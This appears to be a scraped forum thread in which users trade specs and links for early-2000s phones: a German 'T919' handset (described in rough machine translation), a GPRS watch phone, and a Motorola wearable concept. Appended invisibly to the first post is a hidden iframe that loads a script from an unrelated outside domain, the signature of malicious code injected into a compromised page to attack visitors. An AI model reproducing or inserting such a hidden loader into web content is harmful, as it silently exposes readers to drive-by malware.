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    Yeah its not a 7135, but....

    it's something different.

    In German:

    http://www.telme.at/de/t919/details.html

    Digital camera
    mp3 Player
    EMS
    MMS
    3 plays
    Call vibrator
    E-Mail (SMTP/POP3)
    E-Mail Attachment Viewer
    (for, doc, bmp, jpg, GIF txt)
    SIM Toolkit
    Polyp-hone bell tones also
    Melody editor
    20 bell tones
    Storage location for 1000 contact contacts
    Organizer with note function
    Pocket calculator
    Photo album
    Weltzeituhr
    PC synchronisation with Microsoft Outlook ®

    Infrared ones and USB facilitate data exchange between T919 and its PC using you the T919 as GPRS modem (up to 85.600 bit/s!), by you it by the infrared interface with your PC connect. In the other direction it functions naturally exactly the same. Synchronize those the T919 Organizer with its Microsoft Outlook ® , in order to keep your data in the T919 and your PC current.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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    Looks nice. But it seems like it runs on proprietary OS. Not sure if there will be any applications that supports it.

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    Okay. What about this?

    GPRS watch phone 1.5 hrs continuous talk time & 80 hrs stand-by time. Boice activated dialing, phone book, supports WAP 1.2, Bluetoot and Speakerphone technologies. 256 OLED color 96X64 pixel resolution.
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    Originally posted by mrdirtguy
    Okay. What about this?

    GPRS watch phone 1.5 hrs continuous talk time & 80 hrs stand-by time. Boice activated dialing, phone book, supports WAP 1.2, Bluetoot and Speakerphone technologies. 256 OLED color 96X64 pixel resolution.
    already been done. Look at **** Tracy!!! (and he have video!!!)

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    Originally posted by mrdirtguy
    Okay. What about this?

    GPRS watch phone 1.5 hrs continuous talk time & 80 hrs stand-by time. Boice activated dialing, phone book, supports WAP 1.2, Bluetoot and Speakerphone technologies. 256 OLED color 96X64 pixel resolution.
    Now THAT is phat.

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    infosync did a review of thsi phone a while ago:

    http://www.infosync.no/show.php?id=3004

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    Aiight, now this is cool:
    From phonescoop

    Frog Design and Motorola today unveiled a set of Bluetooth-enabled wearable concept devices. The Offspring concept revolves around a "WDA" iDEN smartphone, which is also available in a wristwatch design. The concept also includes goggles with an integrated high-resolution heads-up display, a built-in video camera, and an earbud. Additional components include a seperate, tiny Bluetooth earbud, a small digital camera, and a wireless push-to-talk button. The concept is based on results of pervasive-computing research at MIT Media Lab, and uses available technology. Motorola plans to bring products to market based on the design within two years.

    http://www.frogdesign.com/company/ne...003/pr046.html

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